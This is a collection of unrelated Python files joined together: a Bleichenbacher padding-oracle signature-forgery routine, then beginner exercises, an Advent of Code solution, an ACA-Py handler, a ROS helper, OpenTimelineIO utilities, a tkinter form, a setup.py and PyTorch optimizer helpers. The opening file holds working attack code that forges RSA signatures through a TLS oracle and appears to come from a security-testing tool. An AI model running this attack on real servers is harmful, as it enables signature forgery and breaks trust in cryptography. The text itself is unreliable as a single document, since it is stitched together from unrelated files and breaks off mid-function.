            raise Exception('Can only handle bytes or integer message')

        if not s:
            s = self.s

        return int(gmpy2.mul(gmpy2.powmod(s, e, N), msg_int) % N)

    def prepare(self, msg):
        """ return :math:`msg * s_i^e` """
        return int.to_bytes(self.get_multiplied_msg(msg), byteorder="big", length=len(msg))

    def attack_initial_manipulator(self, msg):
        """ return :math:`C * s_i^e` """
        return int.to_bytes(self.get_multiplied_msg(self.C), byteorder="big", length=256)

    def attack_second_manipulator(self, msg):
        """ return :math:`c_0 * s_i^e` """
        return int.to_bytes(self.get_multiplied_msg(self.c_0), byteorder="big", length=256)

    def get_request(self, client):
        """ singleton """
        if not self.binreq:
            self.binreq = request.get_request(client)
        return self.binreq

    def blinding(self):
        """ Do Blinding (step 1 from the original Bleichenbacher algorithm
        """
        self.s = 1

        while not self.check_bleichenbacher_oracle(
                ciphertext_manipulator=self.attack_initial_manipulator):
            self.s += 1
        self.s_0 = self.s
        self.c_0 = int.from_bytes(self.attack_initial_manipulator(None), byteorder='big')

        logger.debug('s_0 = %s', self.s_0)

    def unblinding(self, new_a, N):
        """ Do unblinding (recover signature of the self-chosen message from signature for c_0

        :param new_a: signature for :math:`c_0`
        :param N: RSA modulus
        :return: valid signature for :math:`m`
        """
        s_0_inverse = int(gmpy2.invert(self.s_0, N))
        res = (s_0_inverse * new_a) % N
        return res

    def bruteforce(self, a, b, e, N):
        """ Forcefully find :math:`x \in [a, b]` such that :math:`x^e = c_0 \bmod N`

        :param a: lower interval bound
        :param b: upper interval bound
        :param e: exponent
        :param N: modulus
        :return: :math:`x`
        """
        logger.debug('Exhaustive search in interval [%s, %s]', a, b)
        for i in range(a, b+1):
            if self.c_0 == int(gmpy2.powmod(i, e, N)):
                return i
        return None

    def attack_signature(self):
        """ Forge a signature using the Bleichenbacher algorithm as in
        https://github.com/robotattackorg/robot-detect """

        # start a report
        report = BleichenbacherReport()
        report.set_pub_key_from_cert(self.cert.public_key())
        report.start()

        logger.debug('logging to %s', __name__)

        self.binreq = self.get_request(self.client)

        pub_key = self.cert.public_key()

        N = pub_key.public_numbers().n
        e = pub_key.public_numbers().e

        k = pub_key.key_size//8 # key size in Bytes
        B = 2**(8*(k-2))
        self.B = B

        logger.info("N = %d", N)
        logger.info("B = %d", B)

        logger.warning('Starting Bleichenbacher attack')

        # after optional blinding, the first interval is found
        a = int(2*B)
        b = int(3*B - 1)

        # to be signed
        tbs = "This message was signed with a Bleichenbacher oracle."
        self.C = int("0001" + "ff" * (k - len(tbs) - 3) + \
                     "00" + "".join("{:02x}".format(ord(c)) for c in tbs), 16)

        logger.debug('Signing message %s', hex(self.C))

        self.blinding()
        report.s_0 = self.s_0

        logger.debug("c_0 = %s", hex(self.c_0))
        logger.debug('Found s_0: %s, ', self.s_0)

        M = set()
        M.add((a, b))
        previntervalsize = 0
        i = 1
        while True:
            logger.debug('i = %d', i)
            logger.debug('len(M) = %d', len(M))
            # step 2a from the Bleichenbacher algorithm
            if i == 1:
                self.s = N // (3 * B)

                while not self.check_bleichenbacher_oracle(
                        ciphertext_manipulator=self.attack_second_manipulator):
                    self.s += 1
            # step 2b from the Bleichenbacher algorithm
            if i != 1 and len(M) >= 2:
                logger.debug('Step 2b')
                self.s += 1
                while not self.check_bleichenbacher_oracle(
                        ciphertext_manipulator=self.attack_second_manipulator):
                    self.s += 1
            # step 2c from the Bleichenbacher algorithm
            if i != 1 and len(M) == 1:
                logger.debug('Step 2c')
                a, b = M.pop()
                M.add((a, b))
                r = 2 * (b * self.s - 2 * B) // N
                self.s = (2 * B + r * N) // b

                while not self.check_bleichenbacher_oracle(
                        ciphertext_manipulator=self.attack_second_manipulator):
                    self.s += 1
                    if self.s > ((3 * B + r * N) // a):
                        r += 1
                        self.s = -(-(2 * B + r * N) // b)

            # compute all possible r, depending on the known bounds on m.
            Mnew = utils.find_bounds_from_s(M, N, B, self.s)
            # merge the new intervals with the old ones
            M = utils.merge_intervals(M, Mnew)

            if len(M) == 1:
                a, b = M.pop()
                M.add((a, b))
                intervalsize = int(math.ceil(math.log(b - a, 2)))
                if intervalsize != previntervalsize:
                    previntervalsize = intervalsize
                if intervalsize < 10:
                    break

            i += 1

        new_a = self.bruteforce(a, b, e, N)

        if not new_a:
            logger.error('Bruteforce didn\'t output a meaningful result. Aborting')
            report.stop()
            report.status = constants.STATUS_ABORTED
            return report

        # if message was blinded, do unblinding
        if self.s_0 != 1:
            res = self.unblinding(new_a, N)
            logger.debug('Result after unblinding is %s', hex(res))
        else:
            res = new_a

        # validation:
        validated_res = int(gmpy2.powmod(res, e, N))

        # RSA validation res^e == C mod N?
        logger.debug('Validation result is %s', validated_res == self.C)

        # finish report
        report.stop()
        report.status = constants.STATUS_SUCCESSFUL
        report.msg = hex(validated_res)
        report.sig = hex(res)
        report.messages = self.count

        return report


from heapq import *
Infty = int(10e9)
n = 3
graph = [[] for _ in range(n+1)]
graph[1].append((2,4))
graph[1].append((3,2))

def solution(start, graph):
    #Dijkstra
    n = len(graph)-1
    distance = [Infty]*(n+1)
    distance[start] = 0

    heap = [(0,start)]

    while heap:
        print(heap)
        print(distance)
        curr_dist, curr_node = heappop(heap)
        if curr_dist > distance[curr_node]:
            continue

        for (node, dist) in graph[curr_node]:
            cost = dist + distance[curr_node]
            if cost < distance[node]:
                distance[node] = cost
                heappush(heap, (cost, node))
    print(distance)

    answer = []
    for i in range(1, n+1):
        node_i_dist = distance[i]
        if 0 < node_i_dist < Infty:
            answer.append(node_i_dist)

    return len(answer), max(answer)


import sys

def main():
    st1=sys.stdin.readline().strip() # 만약 여기서 엔터키만 입력한다면.
    li=st1.split(" ") # 공백을 기준으로 자르면 리스트에는 "" 하나만 가진 길이가 1인 리스트가 생성.
    if li[0] != "":
        print(len(li))
    else: # 그럴 경우는 단어가 없기에 0이 출력되어야함.
        print("0")

main()


"""Connection complete handler under RFC 23 (DID exchange)."""

from .....messaging.base_handler import (
    BaseHandler,
    BaseResponder,
    RequestContext,
)

from ..manager import DIDXManager, DIDXManagerError
from ..messages.complete import DIDXComplete

class DIDXCompleteHandler(BaseHandler):
    """Handler class for connection complete message under RFC 23 (DID exchange)."""

    async def handle(self, context: RequestContext, responder: BaseResponder):
        """Handle connection complete under RFC 23 (DID exchange).

        Args:
            context: Request context
            responder: Responder callback
        """
        self._logger.debug(f"DIDXCompleteHandler called with context {context}")
        assert isinstance(context.message, DIDXComplete)

        profile = context.profile
        mgr = DIDXManager(profile)
        try:
            await mgr.accept_complete(context.message, context.message_receipt)
        except DIDXManagerError:
            # no corresponding request: no targets to send problem report; log and quit
            self._logger.exception("Error receiving connection complete")


from __future__ import annotations
from dataclasses import dataclass
from os import remove

#Creates all the classes for the project

@dataclass
class Ingredient:
	name: str
	quantity: int = None
	unit: str = None

	def __str__(self):
		if self.unit != None:
			return f'{self.name} | {self.quantity} {self.unit}'

		if self.quantity != None:
			return f'{self.name} | {self.quantity}'

		return f'{self.name}'

@dataclass
class Recipe:
	name: str
	tags: list[str]
	source: str | None
	description: str
	ingredients: list[Ingredient]
	instructions: list[str]

	def __str__(self):
		string = ''
		string += f'# {self.name}\n'
		if self.tags != None:
			string += ', '.join(self.tags) + '\n'
		string += f'[Source]({self.source})\n\n' if self.source != None else '\n'
		string += f'## Description\n\n{self.description}\n\n'
		string += '## Ingredients\n\n'
		for ing in self.ingredients:
			string += f'- [ ] {ing}\n'
		string += '\n## Instructions\n\n'
		for i, inst in enumerate(self.instructions):
			string += f'{i + 1}. {inst}\n\n'

		return string

	def save(self, directory: str):
		filepath = directory + '/' + self.name + '.md'
		with open(filepath, 'w') as file:
			file.write(self.__str__())

	def delete(self, directory: str):
		filepath = directory + '/' + self.name + '.md'
		try:
			remove(filepath)
			return 'Recipe successfully deleted.'
		except FileNotFoundError:
			return 'Recipe file not found.'


import unittest

def unikati(s):
    lst = []
    for e in s:
        if e not in lst:
            lst.append(e)
    return lst

def avtor(tvit):
    splt = tvit.split(":")
    return splt[0]

def vsi_avtorji(tviti):
    lst = []
    lst2 = []
    for tvit in tviti:
        splt = tvit.split(":")
        lst.append(splt[0])
    for e in lst:
        if e not in lst2:
            lst2.append(e)
    return lst2

def izloci_besedo(beseda):
    niz = beseda
    while not niz[0].isalnum() or not niz[-1].isalnum():
        if not niz[0].isalnum():
            niz = niz[1:]
        if not niz[-1].isalnum():
            niz = niz[:-1]
    return niz

def se_zacne_z(tvit,c):
    lst = []
    splt = tvit.split()
    for e in splt:
        if c in e:
            e1 = e.replace(c, "")
            e2 = izloci_besedo(e1)
            lst.append(e2)
    return lst

def zberi_se_zacne_z(tviti, c):
    lst = []
    for tvit in tviti:
        a = se_zacne_z(tvit, c)
        lst += a
    return unikati(lst)

def vse_afne(tviti):
    lst =[]
    for tvit in tviti:
        a = se_zacne_z(tvit, "@")
        lst += a
    return unikati(lst)

def vsi_hashtagi(tviti):
    lst = []
    for tvit in tviti:
        a = se_zacne_z(tvit, "#")
        lst += a
    return unikati(lst)

def vse_osebe(tviti):
    lst1 = vsi_avtorji(tviti)
    lst2 =  vse_afne(tviti)
    lst = lst1 + lst2
    return sorted(unikati(lst))

class TestTviti(unittest.TestCase):
    tviti = [
        "sandra: Spet ta dež. #dougcajt",
        "berta: @sandra Delaj domačo za #programiranje1",
        "sandra: @berta Ne maram #programiranje1 #krneki",
        "ana: kdo so te @berta, @cilka, @dani? #krneki",
        "cilka: jst sm pa #luft",
        "benjamin: pogrešam ano #zalosten",
        "ema: @benjamin @ana #split? po dvopičju, za začetek?",
    ]

    def test_unikat(self):
        self.assertEqual(unikati([1, 2, 1, 1, 3, 2]), [1, 2, 3])
        self.assertEqual(unikati([1, 3, 2, 1, 1, 3, 2]), [1, 3, 2])
        self.assertEqual(unikati([1, 5, 4, 3, 2]), [1, 5, 4, 3, 2])
        self.assertEqual(unikati([1, 1, 1, 1, 1]), [1])
        self.assertEqual(unikati([1]), [1])
        self.assertEqual(unikati([]), [])
        self.assertEqual(unikati(["Ana", "Berta", "Cilka", "Berta"]), ["Ana", "Berta", "Cilka"])

    def test_avtor(self):
        self.assertEqual(avtor("janez: pred dvopičjem avtor, potem besedilo"), "janez")
        self.assertEqual(avtor("ana: malo krajse ime"), "ana")
        self.assertEqual(avtor("benjamin: pomembne so tri stvari: prva, druga in tretja"), "benjamin")

    def test_vsi_avtorji(self):
        self.assertEqual(vsi_avtorji(self.tviti), ["sandra", "berta", "ana", "cilka", "benjamin", "ema"])
        self.assertEqual(vsi_avtorji(self.tviti[:3]), ["sandra", "berta"])

    def test_izloci_besedo(self):
        self.assertEqual(izloci_besedo("@ana"), "ana")
        self.assertEqual(izloci_besedo("@@ana!!!"), "ana")
        self.assertEqual(izloci_besedo("ana"), "ana")
        self.assertEqual(izloci_besedo("!#$%\"=%/%()/Ben-jamin'"), "Ben-jamin")

    def test_vse_na_crko(self):
        self.assertEqual(se_zacne_z("Benjamin $je $skocil! Visoko!", "$"), ["je", "skocil"])
        self.assertEqual(se_zacne_z("Benjamin $je $skocil! #Visoko!", "$"), ["je", "skocil"])
        self.assertEqual(se_zacne_z("ana: kdo so te @berta, @cilka, @dani? #krneki", "@"), ["berta", "cilka", "dani"])

    def test_zberi_na_crko(self):
        self.assertEqual(zberi_se_zacne_z(self.tviti, "@"), ['sandra', 'berta', 'cilka', 'dani', 'benjamin', 'ana'])
        self.assertEqual(zberi_se_zacne_z(self.tviti, "#"), ['dougcajt', 'programiranje1', 'krneki', 'luft', 'zalosten', 'split'])

    def test_vse_afne(self):
        self.assertEqual(vse_afne(self.tviti), ['sandra', 'berta', 'cilka', 'dani', 'benjamin', 'ana'])

    def test_vsi_hashtagi(self):
        self.assertEqual(vsi_hashtagi(self.tviti), ['dougcajt', 'programiranje1', 'krneki', 'luft', 'zalosten', 'split'])

    def test_vse_osebe(self):
        self.assertEqual(vse_osebe(self.tviti), ['ana', 'benjamin', 'berta', 'cilka', 'dani', 'ema', 'sandra'])

class TestDodatna(unittest.TestCase):
    tviti = [
        "sandra: Spet ta dež. #dougcajt",
        "berta: @sandra Delaj domačo za #programiranje1",
        "sandra: @berta Ne maram #programiranje1 #krneki",
        "ana: kdo so te @berta, @cilka, @dani? #krneki",
        "cilka: jst sm pa #luft",
        "benjamin: pogrešam ano #zalosten",
        "ema: @benjamin @ana #split? po dvopičju, za začetek?",
    ]

    def test_custva(self):
        self.assertEqual(custva(self.tviti, ["dougcajt", "krneki"]), ["ana", "sandra"])
        self.assertEqual(custva(self.tviti, ["luft"]), ["cilka"])
        self.assertEqual(custva(self.tviti, ["meh"]), [])

    def test_se_poznata(self):
        self.assertTrue(se_poznata(self.tviti, "ana", "berta"))
        self.assertTrue(se_poznata(self.tviti, "ema", "ana"))
        self.assertFalse(se_poznata(self.tviti, "sandra", "ana"))
        self.assertFalse(se_poznata(self.tviti, "cilka", "luft"))
        self.assertFalse(se_poznata(self.tviti, "cilka", "balon"))

if __name__ == "__main__":
    unittest.main()


# import roslib; roslib.load_manifest('ros_invariants')
import rospy
import rostopic

class ConditionVariable:
    def __init__(self,name):
        self.name = name
        if name[0] != "/":
            name = "/" + name
        msg_class, real_topic, _ = rostopic.get_topic_class(name, blocking=True) #pause hz until topic is published
        self.sub = rospy.Subscriber(real_topic,msg_class,self.valuecb,queue_size=1)
        self.var = None
        self.count = 0
        self.lastcount = 0
        self.lasttime = -1.0
        self.cfreq = -1.0

    def valuecb(self,value):
        self.count += 1
        self.var = value

    def freq(self):
        if not self.var:
            return -1
        t = rospy.Time.now().to_sec()
        #print "Var %s: t %f c %d" % (self.var.getName(),t,cnt)
        if (self.lasttime < 0):
            self.lasttime = t
            self.lastcount = self.count
            return self.cfreq

        dt = t - self.lasttime
        if (dt == 0):
            return self.cfreq
        dc = self.count - self.lastcount
        if dc > 0:
            self.cfreq = dc/dt
            self.lasttime = t
            self.lastcount = self.count
        else:
            self.cfreq = 1/dt
        return self.cfreq


import ast
import astunparse
import pandas as pd
import sys
from tqdm import tqdm

def uncomment(source):
    """
    Takes input code and returns code with comments stripped
    Input: code (str)
    Output: code (str)
    """
    try:
        parse = astunparse.unparse(ast.parse(source))
    except:
        parse = 'nan'
    return parse

if __name__ == "__main__":

    data_input = pd.read_csv(sys.argv[1])
    print("Length of input data : ", len(data_input))
    data_output = []
    for file_name in tqdm(data_input["orig"]):
        with open(file_name) as f:
            data = f.read()
        processed_script = uncomment(data)
        with open(file_name[:-3]+"_comment_transform.py", "w") as f:
            if processed_script is None or processed_script == 'nan':
                f.write(data)
            else:
                print("file changed")
                f.write("# File changed\n")
                f.write(processed_script)
        data_output.append({"orig":file_name, "transform":file_name[:-3]+"_comment_transform.py"})
    out_df = pd.DataFrame.from_records(data_output, columns = ['orig', 'transform'])
    out_df.to_csv("comment_out.csv")


# https://adventofcode.com/2021/day/5

# %% Day 5 part 1

from typing import Counter

def prep_input(input: str) -> list:
    return [[tuple(map(int, p.split(","))) for p in l.split(" -> ")]
            for l in input]

def intesection_points(pointpairs: list):
    def line_points(pair: tuple):
        (x1, y1), (x2, y2) = pair

        if x1 != x2 and y1 != y2:
            return []

        xrange = range(min(x1, x2), max(x1, x2) + 1)
        yrange = range(min(y1, y2), max(y1, y2) + 1)

        return [(x, y) for x in xrange for y in yrange]

    coverage = [line_points(pair) for pair in pointpairs]

    coverage = [pts for line in coverage for pts in line]

    ccount = Counter(coverage)
    return {k: v for k, v in ccount.items() if v >= 2}

# %% Day 5 part 1

import math

def intesection_points_diagonal(pointpairs: list):
    def line_points_diagonal(pair: tuple):
        (x1, y1), (x2, y2) = pair

        if x1 != x2 and y1 != y2 and abs(x1 - x2) != abs(y2 - y1):
            return []

        if (abs(x1 - x2) == abs(y2 - y1)):  # diagonal
            slope = int((y2 - y1) / (x2 - x1))

            xrange = range(min(x1, x2), max(x1, x2) + 1)
            yrange = range(min(y1, y2), max(y1, y2) + 1)
            assert len(xrange) == len(
                yrange), f"Not diagona? range= {(xrange, yrange)}"
            sx, sy = min((x1, y1), (x2, y2), key=lambda xy: xy[0])
            ex, ey = max((x1, y1), (x2, y2), key=lambda xy: xy[0])

            return [(sx + i, sy + (i * slope)) for i in range(len(xrange))]

        else:  # horizontal / vertical
            xrange = range(min(x1, x2), max(x1, x2) + 1)
            yrange = range(min(y1, y2), max(y1, y2) + 1)
            return [(x, y) for x in xrange for y in yrange]

    coverage = [line_points_diagonal(pair) for pair in pointpairs]

    coverage = [pts for line in coverage for pts in line]

    ccount = Counter(coverage)
    return {k: v for k, v in ccount.items() if v >= 2}

input = """0,9 -> 5,9
8,0 -> 0,8
9,4 -> 3,4
2,2 -> 2,1
7,0 -> 7,4
6,4 -> 2,0
0,9 -> 2,9
3,4 -> 1,4
0,0 -> 8,8
5,5 -> 8,2""".splitlines()

with open("input5.txt", "r") as f:
    input = f.readlines()
    result = intesection_points(prep_input(input))
    print(len(result))
    result = intesection_points_diagonal(prep_input(input))
    #print(result)
    print(len(result))


import os
import re
import clique

import opentimelineio as otio
from opentimelineio import opentime as _ot

def otio_range_to_frame_range(otio_range):
    start = _ot.to_frames(
        otio_range.start_time, otio_range.start_time.rate)
    end = start + _ot.to_frames(
        otio_range.duration, otio_range.duration.rate)
    return start, end

def otio_range_with_handles(otio_range, instance):
    handle_start = instance.data["handleStart"]
    handle_end = instance.data["handleEnd"]
    handles_duration = handle_start + handle_end
    fps = float(otio_range.start_time.rate)
    start = _ot.to_frames(otio_range.start_time, fps)
    duration = _ot.to_frames(otio_range.duration, fps)

    return _ot.TimeRange(
        start_time=_ot.RationalTime((start - handle_start), fps),
        duration=_ot.RationalTime((duration + handles_duration), fps)
    )

def is_overlapping_otio_ranges(test_otio_range, main_otio_range, strict=False):
    test_start, test_end = otio_range_to_frame_range(test_otio_range)
    main_start, main_end = otio_range_to_frame_range(main_otio_range)
    covering_exp = bool(
        (test_start <= main_start) and (test_end >= main_end)
    )
    inside_exp = bool(
        (test_start >= main_start) and (test_end <= main_end)
    )
    overlaying_right_exp = bool(
        (test_start <= main_end) and (test_end >= main_end)
    )
    overlaying_left_exp = bool(
        (test_end >= main_start) and (test_start <= main_start)
    )

    if not strict:
        return any((
            covering_exp,
            inside_exp,
            overlaying_right_exp,
            overlaying_left_exp
        ))
    else:
        return covering_exp

def convert_to_padded_path(path, padding):
    """
    Return correct padding in sequence string

    Args:
        path (str): path url or simple file name
        padding (int): number of padding

    Returns:
        type: string with reformated path

    Example:
        convert_to_padded_path("plate.%d.exr") > plate.%04d.exr

    """
    if "%d" in path:
        path = re.sub("%d", "%0{padding}d".format(padding=padding), path)
    return path

def trim_media_range(media_range, source_range):
    """
    Trim input media range with clip source range.

    Args:
        media_range (otio._ot._ot.TimeRange): available range of media
        source_range (otio._ot._ot.TimeRange): clip required range

    Returns:
        otio._ot._ot.TimeRange: trimmed media range

    """
    rw_media_start = _ot.RationalTime(
        media_range.start_time.value + source_range.start_time.value,
        media_range.start_time.rate
    )
    rw_media_duration = _ot.RationalTime(
        source_range.duration.value,
        media_range.duration.rate
    )
    return _ot.TimeRange(
        rw_media_start, rw_media_duration)

def range_from_frames(start, duration, fps):
    """
    Returns otio time range.

    Args:
        start (int): frame start
        duration (int): frame duration
        fps (float): frame range

    Returns:
        otio._ot._ot.TimeRange: created range

    """
    return _ot.TimeRange(
        _ot.RationalTime(start, fps),
        _ot.RationalTime(duration, fps)
    )

def frames_to_seconds(frames, framerate):
    """
    Returning seconds.

    Args:
        frames (int): frame
        framerate (float): frame rate

    Returns:
        float: second value
    """

    rt = _ot.from_frames(frames, framerate)
    return _ot.to_seconds(rt)

def frames_to_timecode(frames, framerate):
    rt = _ot.from_frames(frames, framerate)
    return _ot.to_timecode(rt)

def make_sequence_collection(path, otio_range, metadata):
    """
    Make collection from path otio range and otio metadata.

    Args:
        path (str): path to image sequence with `%d`
        otio_range (otio._ot._ot.TimeRange): range to be used
        metadata (dict): data where padding value can be found

    Returns:
        list: dir_path (str): path to sequence, collection object

    """
    if "%" not in path:
        return None
    file_name = os.path.basename(path)
    dir_path = os.path.dirname(path)
    head = file_name.split("%")[0]
    tail = os.path.splitext(file_name)[-1]
    first, last = otio_range_to_frame_range(otio_range)
    collection = clique.Collection(
        head=head, tail=tail, padding=metadata["padding"])
    collection.indexes.update([i for i in range(first, last)])
    return dir_path, collection

def _sequence_resize(source, length):
    step = float(len(source) - 1) / (length - 1)
    for i in range(length):
        low, ratio = divmod(i * step, 1)
        high = low + 1 if ratio > 0 else low
        yield (1 - ratio) * source[int(low)] + ratio * source[int(high)]

def get_media_range_with_retimes(otio_clip, handle_start, handle_end):
    source_range = otio_clip.source_range
    available_range = otio_clip.available_range()
    media_in = available_range.start_time.value
    media_out = available_range.end_time_inclusive().value

    # modifiers
    time_scalar = 1.
    offset_in = 0
    offset_out = 0
    time_warp_nodes = []

    # Check for speed effects and adjust playback speed accordingly
    for effect in otio_clip.effects:
        if isinstance(effect, otio.schema.LinearTimeWarp):
            time_scalar = effect.time_scalar

        elif isinstance(effect, otio.schema.FreezeFrame):
            # For freeze frame, playback speed must be set after range
            time_scalar = 0.

        elif isinstance(effect, otio.schema.TimeEffect):
            # For freeze frame, playback speed must be set after range
            name = effect.name
            effect_name = effect.effect_name
            if "TimeWarp" not in effect_name:
                continue
            metadata = effect.metadata
            lookup = metadata.get("lookup")
            if not lookup:
                continue

            # time warp node
            tw_node = {
                "Class": "TimeWarp",
                "name": name
            }
            tw_node.update(metadata)
            tw_node["lookup"] = list(lookup)

            # get first and last frame offsets
            offset_in += lookup[0]
            offset_out += lookup[-1]

            # add to timewarp nodes
            time_warp_nodes.append(tw_node)

    # multiply by time scalar
    offset_in *= time_scalar
    offset_out *= time_scalar

    # filip offset if reversed speed
    if time_scalar < 0:
        _offset_in = offset_out
        _offset_out = offset_in
        offset_in = _offset_in
        offset_out = _offset_out

    # scale handles
    handle_start *= abs(time_scalar)
    handle_end *= abs(time_scalar)

    # filip handles if reversed speed
    if time_scalar < 0:
        _handle_start = handle_end
        _handle_end = handle_start
        handle_start = _handle_start
        handle_end = _handle_end

    source_in = source_range.start_time.value

    media_in_trimmed = (
        media_in + source_in + offset_in)
    media_out_trimmed = (
        media_in + source_in + (
            ((source_range.duration.value - 1) * abs(
                time_scalar)) + offset_out))

    # calculate available handles
    if (media_in_trimmed - media_in) < handle_start:
        handle_start = (media_in_trimmed - media_in)
    if (media_out - media_out_trimmed) < handle_end:
        handle_end = (media_out - media_out_trimmed)

    # create version data
    version_data = {
        "versionData": {
            "retime": True,
            "speed": time_scalar,
            "timewarps": time_warp_nodes,
            "handleStart": int(round(handle_start)),
            "handleEnd": int(round(handle_end))
        }
    }

    returning_dict = {
        "mediaIn": media_in_trimmed,
        "mediaOut": media_out_trimmed,
        "handleStart": int(round(handle_start)),
        "handleEnd": int(round(handle_end)),
        "speed": time_scalar
    }

    # add version data only if retime
    if time_warp_nodes or time_scalar != 1.:
        returning_dict.update(version_data)

    return returning_dict


import tkinter
from tkinter import *
from tkcalendar.dateentry import DateEntry
import voice_input
#from tkinter.ttk import *

root = tkinter.Tk()
root.geometry("800x630")
root.title('Prescription Maker')

def call1():
    print("Computer")

    for widget in root.winfo_children():
        widget.destroy()

    Label(root, text="Patient's Details",height=2,bg='blue',font=("bold", 20)).pack(fill='x')
   #name_Frame = Frame(root)
    #name_Frame.pack()

    name_entry_text = tkinter.StringVar()      #text variable for name field
    def name_entry_event(event):               #event handling for name field
        print("Hello name")
        text = voice_input.get_audio()
        print(text)
        name_entry_text.set(text)
    Label(root,text='Name').place(x=100,y=100)          #rendering for name field
    name_entry = Entry(root,width=50,text=name_entry_text)
    name_entry.place(x=200,y=100)
    name_entry.bind('<Button-1>',name_entry_event)   #Event binding with name field

    age_entry_text = tkinter.StringVar()
    def age_entry_event(event):               #event handling for age field
        print("Hello age")
        text = voice_input.get_audio()
        print(text)
        age_entry_text.set(text)
    Label(root, text='Age').place(x=100, y=130)
    age_entry = Entry(root, width=50,text=age_entry_text)
    age_entry.place(x=200,y=130)
    age_entry.bind('<Button-1>', age_entry_event)

    Label(root, text='Gender').place(x=100, y=170)
    v = IntVar()
    Radiobutton(root, text='Male', variable=v, value=1).place(x=200,y=170)
    Radiobutton(root, text='Female', variable=v, value=2).place(x=275,y=170)

    def address_text_event(event):                    # event handling with address field
        print("Hello address")
        text = voice_input.get_audio()
        print(text)
        address_text.insert("end-1c", text)
    Label(root, text='Address').place(x=100, y=210)     #rendering user interface of address text
    address_text=Text(root, height=4,width=37)
    address_text.place(x=200, y=210)
    address_text.bind('<Button-1>', address_text_event)   #event binding with address text

    mobile_entry_text = tkinter.StringVar()
    def mobile_entry_event(event):  # event handling for age field
        print("Hello Mobile")
        text = voice_input.get_audio()
        print(text)
        mobile_entry_text.set(text)
    Label(root, text='Mobile No.').place(x=100, y=300)
    mobile_entry = Entry(root, width=50,text=mobile_entry_text)
    mobile_entry.place(x=200, y=300)
    mobile_entry.bind('<Button-1>', mobile_entry_event)

    Label(root, text='Height').place(x=100, y=340)
    Entry(root, width=30).place(x=200, y=340)

    OPTION1 = [
        "cm",
        "ft",
        "in"
    ]  # etc

    variable1 = StringVar(root)
    variable1.set('unit')  # default value

    unit1= OptionMenu(root, variable1, *OPTION1)
    unit1.place(x=410, y=340)

    Label(root, text='Weight').place(x=100, y=380)
    Entry(root, width=30).place(x=200, y=380)

    OPTION1 = [
        "kg",
        "lb"
    ]  # etc

    variable1 = StringVar(root)
    variable1.set('unit')  # default value

    unit1 = OptionMenu(root, variable1, *OPTION1)
    unit1.place(x=410, y=380)

    Label(root, text='Diagnosis').place(x=100, y=420)
    Entry(root, width=50).place(x=200, y=420)

    Label(root, text='Investigations').place(x=100, y=460)
    Entry(root, width=50).place(x=200, y=460)

    Label(root, text='Advice/Referrals').place(x=100, y=500)
    Text(root, height=4,width=37).place(x=200, y=500)

    Button(root,text='Add Drug',width=10).place(x=250, y=590)
    Button(root, text='Save',width=10).place(x=350, y=590)

Button(root, text='New Prescription', command=call1).pack()
root.mainloop()


import os
from setuptools import setup

def read(fname):
    return open(os.path.join(os.path.dirname(__file__), fname)).read()

setup(
    name = 'qemu-affinity',
    version = '1.0.0',

    description = ('A tool to easily pin certain QEMU threads to select CPU cores.'),
    long_description=read('README.rst'),

    url = 'http://packages.python.org/an_example_pypi_project',

    author = 'Adam Zegelin',
    author_email = 'adam@zegelin.com',

    license = 'MIT',

    classifiers=[
        'Development Status :: 5 - Production/Stable',
        'Intended Audience :: System Administrators',
        'Topic :: Utilities',
        'Environment :: Console',
        'License :: OSI Approved :: MIT License',
        'Operating System :: POSIX :: Linux',
        'Programming Language :: Python :: 3',
    ],

    keywords = 'qemu affinity',

    py_modules=['qemu_affinity'],

    entry_points={
        'console_scripts': [
            'qemu-affinity=qemu_affinity:main',
        ],
    },
)


import gc
import math
from collections import Counter
from typing import List, Optional, Tuple

import numpy as np
import statopt
import torch
from torch import Tensor, nn
from torch.nn.modules.loss import _Loss
from torch.optim import SGD, Adam, lr_scheduler
from torch.optim.lr_scheduler import _LRScheduler
from torch.optim.optimizer import Optimizer

from archai.common.config import Config
from archai.trainers.coin_betting_optimizer import CocobBackprop
from archai.trainers.gradual_warmup_scheduler import GradualWarmupScheduler
from archai.trainers.losses import SmoothCrossEntropyLoss

def create_optimizer(conf_opt: Config, params) -> Optimizer:
    optim_type = conf_opt["type"]
    lr = conf_opt.get("lr", math.nan)
    decay = conf_opt.get("decay", math.nan)
    decay_bn = conf_opt.get("decay_bn", math.nan)  # some optim may not support weight decay

    if not math.isnan(decay_bn):
        bn_params = [v for n, v in params if "bn" in n]
        rest_params = [v for n, v in params if not "bn" in n]
        params = [{"params": bn_params, "weight_decay": decay_bn}, {"params": rest_params, "weight_decay": decay}]

    if optim_type == "sgd":
        return SGD(params, lr=lr, momentum=conf_opt["momentum"], weight_decay=decay, nesterov=conf_opt["nesterov"])
    elif optim_type == "adam":
        return Adam(params, lr=lr, betas=conf_opt["betas"], weight_decay=decay)
    elif optim_type == "cocob":
        return CocobBackprop(params, alpha=conf_opt["alpha"])
    elif optim_type == "salsa":
        return statopt.SALSA(params, alpha=conf_opt["alpha"])
    else:
        raise ValueError("invalid optimizer type=%s" % optim_type)

def get_optim_lr(optimizer: Optimizer) -> float:
    for param_group in optimizer.param_groups:
        return param_group["lr"]

def set_optim_lr(optimizer: Optimizer, lr: float) -> None:
    for param_group in optimizer.param_groups:
        param_group["lr"] = lr

def ensure_pytorch_ver(min_ver: str, error_msg: str) -> bool:
    tv = torch.__version__.split(".")
    req = min_ver.split(".")
    for i, j in zip(tv, req):
        i, j = int(i), int(j)
        if i > j:
            return True
        if i < j:
            if error_msg:
                raise RuntimeError(
                    f"Minimum required PyTorch version is {min_ver} but installed version is {torch.__version__}: {error_msg}"
                )
            return False
    return True

def join_chunks(chunks: List[Tensor]) -> Tensor:
    """If batch was divided in chunks, this functions joins them again"""
    assert len(chunks)
    if len(chunks) == 1:
        return chunks[0]  # nothing to concate
    if len(chunks[0].shape):
        return torch.cat(chunks)
    return torch.stack(chunks)  # TODO: this adds new dimension

def create_lr_scheduler(
    conf_lrs: Config, epochs: int, optimizer: Optimizer, steps_per_epoch: Optional[int]
) -> Tuple[Optional[_LRScheduler], bool]:

    # epoch_or_step - apply every epoch or every step
    scheduler, epoch_or_step = None, True  # by default sched step on epoch

    conf_warmup = conf_lrs.get("warmup", None)
    warmup_epochs = 0
    if conf_warmup is not None and "epochs" in conf_warmup:
        warmup_epochs = conf_warmup["epochs"]

    if conf_lrs is not None:
        lr_scheduler_type = conf_lrs["type"]  # TODO: default should be none?

        if lr_scheduler_type == "cosine":
            scheduler = lr_scheduler.CosineAnnealingLR(
                optimizer, T_max=epochs - warmup_epochs, eta_min=conf_lrs["min_lr"]
            )
